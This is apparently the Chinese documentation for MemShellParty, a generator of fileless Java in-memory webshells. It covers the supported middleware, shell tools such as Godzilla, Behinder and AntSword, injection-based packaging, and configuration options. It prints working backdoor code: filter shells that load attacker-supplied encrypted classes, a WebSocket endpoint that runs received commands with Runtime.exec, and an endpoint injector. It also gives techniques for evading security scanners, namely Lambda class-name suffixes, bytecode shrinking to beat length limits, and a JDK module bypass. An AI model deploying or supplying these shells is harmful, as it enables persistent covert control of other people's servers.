| ContextValve - Agent                            | ContextValve - Agent                          | ContextValve - Agent                                     |

| [Apusic AS (9 \~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | [Dubbo Provider](/docs/server-intro#dubbo) |
| ------------------------------------------------ | --------------------------------------------- | ------------------------------------------ |
| Servlet                                          | Filter                                        | DubboService                               |
| Filter                                           | Listener                                      |                                            |
| Listener                                         | Valve                                         |                                            |
| FilterChain - Agent                              | FilterChain - Agent                           |                                            |
|                                                  | ContextValve - Agent                          |                                            |

### 内存马功能 [#内存马功能]

* [x] [Godzilla 哥斯拉](/docs/shelltool/godzilla)
* [x] [Behinder 冰蝎](/docs/shelltool/behinder)
* [x] [命令执行](/docs/shelltool/command)
* [x] [Suo5](/docs/shelltool/suo5)
* [x] [AntSword 蚁剑](/docs/shelltool/antsword)
* [x] [Neo-reGeorg](/docs/shelltool/neoregeorg)
* [x] [Custom](/docs/custom-memshell)

### 打包方式 [#打包方式]

* [x] [BASE64](/docs/base64)
* [x] [JSP/JSPX](/docs/jsp)
* [x] [BigInteger](/docs/biginteger)
* [x] [BCEL](/docs/bcel)
* [x] [AbstractTranslet](/docs/abstract-translet)
* [x] [BCEL](/docs/bcel)
* [x] [内置脚本引擎、Rhino 脚本引擎](/docs/script-engine)
* [x] [表达式注入（EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell）](/docs/expression)
* [x] [模板注入（Velocity、Freemarker、JinJava）](/docs/ssti)
* [x] [Java 原生反序列化（CB 和 CC 链）](/docs/java-deserialize)
* [x] [Hessian、Hessian2 反序列化（XSLT 链）](/docs/hessian-deserialize)
* [x] [H2](/docs/h2)
* [x] [JAR、ScriptEngineJar、GroovyTransformJar](/docs/jar)
* [x] [Agent](/docs/agent-jar)
* [x] XXL-JOB Executor
* [ ] JNDI
* [ ] 其他常见反序列化


# 实现自定义内存马 (/docs/custom-memshell)



MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入，注入的伪代码如下：

```java
Object context = getContext();
Object shell = defineClass(getShellBase64Str());

inject(context, shell);
```

自定义内存马就是开放 getShellBase64Str 的修改，通过生成界面传入内存马的 base64 或 class 文件来实现。

注入器的选择，在通过生成界面选完目标服务和挂载类型就已经确认好了，无法自定义。

### 实现参考 [#实现参考]

1. Servlets 相关内存马使用 javax.servlet 即可，当挂载类型选为 Jakarta 开头，在生成时会自动将 javax 改为
   jakarta，无须重复实现。
2. Listener 内存马生成时，通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
   方法上，因此推荐按参考实现一样使用空实现，额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可，当选中 BES/TongWeb 等会自动改为其特有的包名前缀，无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类，因为 Agent
   内存马类会放进所增强类的 ClassLoader 中，部分中间件会存在模块隔离，无法直接使用部分类，例如 `java.util.Base64`、
   `javax.crypto.Cipher`。

| 挂载类型                                                     | 参考实现                                                                                                                                                                                                 |
| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Servlet/JakartaServlet                                   | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java)                               |
| Filter/JakartaFilter                                     | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java)                                 |
| Listener/JakartaListener                                 | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java)                             |
| Valve/JakartaValve                                       | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java)                                   |
| ProxyValve/JakartaProxyValve                             | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
| WebSocket/JakartaWebSocket                               | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java)                           |
| (SpringWebMVC)Interceptor/JakartaInterceptor             | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java)                       |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java)           |
| (SpringWebFlux)WebFilter                                 | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java)                           |
| (SpringWebFlux)HandlerMethod                             | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java)                   |
| (SpringWebFlux)HandlerFunction                           | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java)               |
| NettyHandler                                             | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java)                     |
| AgentFilterChain/AgentContextValve                       | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
| (SpringWebMVC)AgentFrameworkServlet                      | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
| (Jetty)AgentHandler                                      | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java)                |
| (WAS)AgentFilterManager                                  | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
| (WebLogic)AgentServletContext                            | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java)                                             |
| (Undertow)AgentServletHandler                            | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
| (Jetty)Handler                                           | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java)                     |
| (Jetty)Customizer                                        | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java)               |
| (Struts2)Action                                          | [GodzillaStruts2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java)                   |
| (Tomcat)Upgrade                                          | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java)                                  |

### 参考步骤 [#参考步骤]

1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :generator:compileJava` 或 `.\gradlew.bat :generator:compileJava`
4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面，选择目标服务 - Custom - 挂载类型，上传 class 文件，选择打包方式并生成


# FQA (/docs/fqa)



Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading]


# 什么是 Java 内存马 (/docs)



Java 内存马是一种无文件 webshell，相较于传统的 webshell，它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效，不过也出现了附带的内存马复活相关技术。

## 什么是 webshell [#什么是-webshell]

> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)

webshell 是一种类似于 shell 的入口，攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用，因此 PHP webshell 是最常见的，当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。

常见的 webshell 功能包括：

1. 命令回显，反弹 unix shell。
2. 网站管理工具，例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道，例如 reGeorg、Neo-reGeorg、suo5 等。

## 演变历程 [#演变历程]

随着攻防对抗强度越来越高，主机安全（文件监控、防篡改、EDR），WAF 流量设备，webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马，不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效，而加密则是针对 WAF 等流量设备，因此内存马使用得越来越多，当前唯一真正有效的防护措施似乎只剩下了 &#x2A;*RASP（运行时应用安全防护）** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。

内存马也被称为内存 webshell，相较于传统 webshell 的文件落地方式，只是在攻防对抗中进化，换了个实现方式挂 webshell。

此项目 [https://github.com/tennc/webshell](https://github.com/tennc/webshell) 收集了超多不同编程语言的 webshell，或许当你遇到有意思的 webshell 时，可以考虑将其改造成内存马。

## 常见 Java 内存马 [#常见-java-内存马]

在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义（这部分的知识强烈推荐：[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)），JSP 本质就是一个 Servlet，它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马，通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。

冰蝎工具后来提供了 Java Agent 内存马实现，使得内存马技术得到了广泛传播。

**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。

Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener，Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor，SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。

从技术实现的不同，分为非 Agent 内存马与 Agent 内存马，由于 Agent 内存马需要落地 Jar 包，冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式，参考：[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。

## 延伸阅读 [#延伸阅读]

* [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
* [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
* [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)


# 核心配置项 (/docs/memshell-core-config)



### 服务类型 [#服务类型]

所需要注入内存马的 Java 服务类型，目前支持以下方式。

如果在以下列表中未找到，可先查看 [目标服务介绍](/docs/server-intro) 是否有提到

如果仍然没有，则可提 [issue](https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md) 请求适配

* [x] Tomcat
* [x] Jetty
* [x] Undertow
* [x] JBoss
* [x] Resin
* [x] WebLogic
* [x] WebSphere
* [x] GlassFish
* [x] TongWeb
* [x] BES
* [x] InforSuite
* [x] Apusic
* [x] SpringWebMvc
* [x] SpringWebFlux
* [x] XXLJOB
* [x] Struts2

### 服务版本 [#服务版本]

服务版本用于部分中间件不同版本之间包名不同，需要进行单独适配的情况，默认 Unknown 即可。

仅以下两种内存马用到：

1. TongWeb Valve 内存马：可选值为 6、7、8
2. Jetty Handler/JakartaHandler 内存马：可选值为 6、7+、12

### 内存马工具 [#内存马工具]

所需要注入内存马工具类型，目前支持以下几种方式：

* [x] [Godzilla](/docs/shelltool/godzilla)
* [x] Behinder
* [x] Command
* [x] [Suo5](/docs/shelltool/suo5)
* [x] [Suo5v2](/docs/shelltool/suo5)
* [x] AntSword
* [x] NeoreGeorg
* [x] Custom：自定义内存马，用于上续工具都不是想要的情况下，参考 [实现自定义内存马](/docs/custom-memshell) 进行使用

### 调试模式 [#调试模式]

集成测试用例仅测试了各中间件大版本下的兼容情况，不可避免地某些版本可能存在问题，一味地去除各种打印信息在这种情况下排查问题是棘手的，因此有了调试模式。

1. 处理第一个问题，内存马是否注入成功，当开启调试模式后内存马注入器使用 System.out.println 向业务日志打印注入信息

```java
if (ok) {
    return;
}
Set<Object> contexts = null;
try {
    contexts = getContext();
} catch (Throwable throwable) {
    msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
    msg += "context not found";
} else {
    for (Object context : contexts) {
        try {
            msg += ("context: [" + getContextRoot(context) + "] ");
            Object shell = getShell(context);
            inject(context, shell);
            msg += "[" + getUrlPattern() + "] ready\n";
        } catch (Throwable e) {
            msg += "failed " + getErrorMessage(e) + "\n";
        }
    }
}
ok = true;
System.out.println(msg);// [!code highlight]
```

2. 处理第二个问题，内存马注入成功但是连不上怎么回事，当开启调试模式后内存马工具类使用 e.printStackTrace 向业务输出错误堆栈

```java
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest) servletRequest;
    HttpServletResponse response = (HttpServletResponse) servletResponse;

    try {
        if (request.getHeader(this.headerName) != null
                && request.getHeader(this.headerName).contains(this.headerValue)) {
            HttpSession session = ((HttpServletRequest) servletRequest).getSession();
            Map<String, Object> obj = new HashMap<String, Object>(3);
            obj.put("request", servletRequest);
            obj.put("response", unwrap(response));
            obj.put("session", session);
            session.setAttribute("u", this.pass);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
            byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
            Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
            instance.equals(obj);
            return;
        }
    } catch (Throwable e) {
        e.printStackTrace();// [!code highlight]
    }
    filterChain.doFilter(servletRequest, servletResponse);
}
```

调试所用的打印代码默认是写在模板中的，因此当关闭调试模式的时候，我们会使用字节码修改技术对打印调试信息的函数调用进行删除，详细实现可参考：[LogRemoveMethodVisitor.java](https://github.com/ReaJason/MemShellParty/blob/master/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java)，也就是把以下三种函数调用给去除

```java
System.out.println(msg) //（printf 还不支持）

e.printStackTrace()

Logger.info(msg) // (java.util)
```

### 回显模式 [#回显模式]

<Callout title="注意" type="warn">
  并不是所有服务都支持回显马，因此在不支持的服务即使开启回显模式，也享受不到回显效果
</Callout>

调试模式仅限于我们能访问到业务日志，但是实战过程中，在没 getshell 前我们获取不到服务器权限，并且调试模式在目标业务打印大段注入信息属实敏感，因此有了回显模式。

**回显模式主要解决的问题是实战过程中判断内存马注入是否成功。**

当开启回显后，会将注入器字节码放置到回显马中，返回一个目标服务类型的回显马，代码执行顺序为：回显马运行 -> 注入器注入 -> 挂载内存马。

<Callout title="额外注意" type="warn">
  由于回显马需要从当前线程获取 request 和 response 对象，因此跨线程 RCE
  的环境下，无法回显，根据代码执行顺序，无法回显的环境，开启回显模式之后注入器也不会进行注入动作，因此支持回显马但无法回显的环境，请一定不要开启回显模式。
</Callout>

在确认了内存马注入成功后，如果发现连不上，我们需要调整我们的内存马，将错误信息带出，方便排查，内置的 Godzilla 已经默认支持了。

```java
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
    HttpServletRequest request = (HttpServletRequest) servletRequest;
    HttpServletResponse response = (HttpServletResponse) servletResponse;
    try {
        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
            PrintWriter writer = response.getWriter();
            try {
                byte[] data = base64Decode(request.getParameter(pass));
                data = this.x(data, false);
                if (payload == null) {
                    payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data);
                } else {
                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                    Object f = payload.newInstance();
                    f.equals(arrOut);
                    f.equals(request);
                    f.equals(data);
                    f.toString();
                    writer.write(md5.substring(0, 16));
                    writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                    writer.write(md5.substring(16));
                }
            } catch (Throwable e) {
                e.printStackTrace();
                writer.write(getErrorMessage(e)); // [!code ++]
            }
            return;
        }
    } catch (Throwable e) {
        e.printStackTrace();
    }
    chain.doFilter(servletRequest, servletResponse);
}

private String getErrorMessage(Throwable throwable) { // [!code ++]
    PrintStream printStream = null; // [!code ++]
    try { // [!code ++]
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); // [!code ++]
        printStream = new PrintStream(outputStream); // [!code ++]
        throwable.printStackTrace(printStream); // [!code ++]
        return outputStream.toString(); // [!code ++]
    } finally { // [!code ++]
        if (printStream != null) { // [!code ++]
            printStream.close(); // [!code ++]
        } // [!code ++]
    } // [!code ++]
} // [!code ++]
```

### 绕过模块限制 [#绕过模块限制]

JDK9+ 有了模块化系统，严格限制各大函数的调用。注入器在注入内存马时需要使用反射调用 defineClass，不是 java.base 模块无法调用，开启绕过模块限制会在注入器自动插入绕过模块限制的代码。也就是如下这坨代码：

```java
try {
    Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
    java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    Object unsafe = unsafeField.get(null);
    Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
    java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
    Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
    java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
    getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Exception ignored) {
}
```

### Lambda 类名后缀 [#lambda-类名后缀]

由于目前 RASP 并未广泛普及，内存马无文件的特性仅在 RASP 面前一览无余，在其他设备上就犹如神力无法被精准检测。而目前绝大多数主动扫描内存马设备为了降低 dumpClass 风险和增加效率，并不会将 JVM 中所有的类进行分析，可能设置有白名单，而 Lambda 类名是众多一线渗透专家测试出来的结果。在类名中添加 Lambda 类名特征即可绕过主动扫描设备。

开启 Lambda 类名后缀之后，会在注入器和内存马类名后自动加入 `$Proxy0$$Lambda$1`。

### 缩小字节码 [#缩小字节码]

默认情况下，一个内存马就有 1w 多长度，因此越来越多的地方做了长度限制，异常的长度认为是恶意行为，例如 SpEL 高版本仅支持 10,000 以下字符长度的表达式执行。

以下三种方式中，测试结果显示当前项目使用的 ASM SKIP\_DEBUG 缩小字节码最小：

1. 普通编译类文件：8943 长度
2. Javassist 去除属性：8003 长度
3. javac 去除调试信息：6658 长度
4. ASM SKIP\_DEBUG：**6349** 长度

#### Javassist 去除属性 [#javassist-去除属性]

由于 Javassist 被用于各类反序列化字节码工具中，因此使用最为广泛，以下字节码缩小代码被广为流传

```java
public static byte[] shrink(byte[] classBytes) throws Exception {
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream);
    ClassPool classPool = new ClassPool();
    classPool.appendSystemPath();
    CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classBytes));
    ClassFile classFile = ctClass.getClassFile2();
    classFile.removeAttribute("SourceFile");
    classFile.removeAttribute("LineNumberTable");
    classFile.removeAttribute("LocalVariableTable");
    classFile.removeAttribute("LocalVariableTypeTable");
    classFile.removeAttribute("Deprecated");
    classFile.removeAttribute("Signature");
    classFile.removeAttribute("StackMapTable");
    for (MethodInfo methodInfo : classFile.getMethods()) {
        methodInfo.removeAttribute("RuntimeVisibleAnnotations");
        methodInfo.removeAttribute("RuntimeInvisibleAnnotations");
        methodInfo.removeAttribute("SourceFile");
        methodInfo.removeAttribute("LineNumberTable");
        methodInfo.removeAttribute("LocalVariableTable");
        methodInfo.removeAttribute("LocalVariableTypeTable");
        methodInfo.removeAttribute("Deprecated");
        methodInfo.removeAttribute("Signature");
        methodInfo.removeAttribute("StackMapTable");
        List<AttributeInfo> attributes = ((CodeAttribute) methodInfo.getAttribute("Code")).getAttributes();
        ArrayList arrayList = new ArrayList();
        for (AttributeInfo attributeInfo : attributes) {
            if ("StackMapTable".equals(attributeInfo.getName()) || "LineNumberTable".equals(attributeInfo.getName())) {
                arrayList.add(attributeInfo);
            }
        }
        for (Object o : arrayList) {
            attributes.remove((AttributeInfo) o);
        }
    }
    ctClass.toBytecode(dataOutputStream);
    ctClass.detach();
    ctClass.defrost();
    return byteArrayOutputStream.toByteArray();
}
```

#### javac 去除调试信息 [#javac-去除调试信息]

忘记在哪篇文章，看到说测试当前情况为最佳，手动编译类，添加 `-g:none` 参数跳过类的调试信息。

```java
javac -g:none xx.java
```

#### ASM SKIP\_DEBUG [#asm-skip_debug]

在一次偶然的机会，我在看 ClassReader 的 flag 都是做什么时，注意到了 SKIP\_DEBUG 注释里面的描述，删除各种 SourceFile, SourceDebugExtension, LocalVariableTable, LocalVariableTypeTable, LineNumberTable and MethodParameters 属性，这不是和 Javassist 去除属性代码有点类似。

```java
public class ClassReader {
  /**
   * A flag to skip the SourceFile, SourceDebugExtension, LocalVariableTable,
   * LocalVariableTypeTable, LineNumberTable and MethodParameters attributes. If this flag is set
   * these attributes are neither parsed nor visited (i.e. {@link ClassVisitor#visitSource}, {@link
   * MethodVisitor#visitLocalVariable}, {@link MethodVisitor#visitLineNumber} and {@link
   * MethodVisitor#visitParameter} are not called).
   */
  public static final int SKIP_DEBUG = 2;
}
```

于是我果断的写下了以下代码，发现其比 Javassist 去除属性效果更好：

```java
public static byte[] shrink(byte[] bytes) {
    ClassReader cr = new ClassReader(bytes);
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
    ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {};
    cr.accept(cv, ClassReader.SKIP_DEBUG);
    return cw.toByteArray();
}
```

### 静态初始化 [#静态初始化]

当前注入器实现的逻辑都在构造方式中，不过并不是所有的漏洞 sink 点我们都能触发到 newInstance 方法调用构造方法实例化对象，因此我们加入了静态初始化开关，当开启后，会在类中添加静态代码块调用构造方法，例如：

```java
static {
    new ImageUtil();
}
```

这样使得部分漏洞 sink 点为 `Class.forName(name, true, classLoader);` 的场景也能正常触发内存马注入了。


# Jetty (/docs/middleware/jetty)



## Handler 内存马 [#handler-内存马]

## Customizer 内存马 [#customizer-内存马]


# Tomcat Valve (/docs/middleware/tomcat-valve)



## Valve 内存马 [#valve-内存马]

## ProxyValve 内存马 [#proxyvalve-内存马]


# Tomcat WebSocket (/docs/middleware/tomcat-websocket)



## 关于 WebSocket [#关于-websocket]

WebSocket 是一种网络技术，可通过单个 TCP 套接字连接在客户端和服务器之间即时传送双向、全双工信息。它被广泛用于实时应用程序，如聊天应用程序、在线游戏和实时数据流。

Java WebSocket 1.0（JSR 356）是 Java EE 7 的一部分，定义了用于在 Java 平台上创建 WebSocket 应用程序的 API。Tomcat 从版本 7.0.27 开始支持 Java WebSocket API。

## 定义 Endpoint [#定义-endpoint]

JSR 356 定义了两种方式来声明 Endpoint：注解式和接口式。注解式使用注解（如 @ServerEndpoint），而接口式通过实现 Endpoint 类。而注入内存马的场景主要是用于动态添加，因此仅介绍接口式。

```java
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.CloseReason;
import java.io.IOException;

public class ExampleEndpoint extends Endpoint {

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        System.out.println("连接已打开：" + session.getId());
        session.addMessageHandler(new MessageHandler.Whole<String>() {
            @Override
            public void onMessage(String message) {
                System.out.println("收到消息：" + message);
                try {
                    session.getBasicRemote().sendText("Echo: " + message);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        });
    }

    @Override
    public void onClose(Session session, CloseReason closeReason) {
        System.out.println("连接关闭：" + session.getId());
    }

    @Override
    public void onError(Session session, Throwable thr) {
        System.out.println("发生错误：" + thr.getMessage());
    }
}
```

通过继承 `javax.websocket.Endpoint` 类，在 `onOpen` 方法中注册消息处理器。

在内存马场景下，可以在 onMessage 方法中添加恶意逻辑，例如执行系统命令或加载其他恶意代码，以下是命令回显 WebSocket Endpoint 示例：

```java
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.InputStream;
import java.util.Scanner;

public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {

    private Session session;

    @Override
    public void onMessage(String cmd) {
        try {
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        this.session = session;
        session.addMessageHandler(this);
    }
}
```

## 注册 Endpoint [#注册-endpoint]

通过继承 javax.websocket.server.ServerApplicationConfig 实现动态注册 Endpoint：

```java
import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;

public class WebSocketConfig implements ServerApplicationConfig {
    @Override
    public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> scannedEndpointClasses) {
        Set<ServerEndpointConfig> result = new HashSet<>();
        ServerEndpointConfig config = ServerEndpointConfig.Builder
                .create(ExampleEndpoint.class, "/api/ws")
                .build();

        result.add(config);

        return result;
    }

    @Override
    public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
        return scanned;
    }
}
```

在 Tomcat 中 org.apache.tomcat.websocket.server.WsSci 会扫描并注册实现了 ServerApplicationConfig 的类，从而动态添加 WebSocket Endpoint。

```java
@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class,
        Endpoint.class})
public class WsSci implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> clazzes, ServletContext ctx)
            throws ServletException {
        WsServerContainer sc = init(ctx, true);
        // 扫描继承的 ServerApplicationConfig 类，并调用其 getEndpointConfigs 方法
        Set<ServerEndpointConfig> filteredEndpointConfigs = ...;
        try {
            for (ServerEndpointConfig config : filteredEndpointConfigs) {
                sc.addEndpoint(config); // [!code highlight]
            }
            // ...
        } catch (DeploymentException e) {
            throw new ServletException(e);
        }
    }

    static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {
        WsServerContainer sc = new WsServerContainer(servletContext);
        servletContext.setAttribute("javax.websocket.server.ServerContainer", sc); // [!code highlight]
        // ...
        return sc;
    }
}
```

代码中有两个关键的地方：

1. init 方法中，注册的 WsServerContainer 对象会被放入 ServletContext 中，key 为 "javax.websocket.server.ServerContainer"，高版本为 "jakarta.websocket.server.ServerContainer"。
2. 调用 WsServerContainer 的 addEndpoint 方法注册 Endpoint。

因此，我们可以通过 ServletContext 获取 WsServerContainer 对象，初始化 Endpoint 并且构建 ServerEndpointConfig 最后调用 addEndpoint 方法注册我们的恶意 Endpoint。

```java
private void inject(Object context, Object obj) throws Exception {
    Object servletContext = invokeMethod(context, "getServletContext", null, null);
    Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
    if (container == null) {
        container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
    }

    if (container == null) {
        throw new RuntimeException("container is null");
    }

    if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
        return;
    }

    ClassLoader contextClassLoader = context.getClass().getClassLoader();
    Class<?> serverEndpointConfigClass;
    Class<?> builderClass;
    try {
        serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
        builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
    } catch (ClassNotFoundException e) {
        serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
        builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
    }
    Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
    constructor.setAccessible(true);
    Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
    Object endpointConfig = invokeMethod(o1, "build", null, null);

    invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
    invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
    invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
```

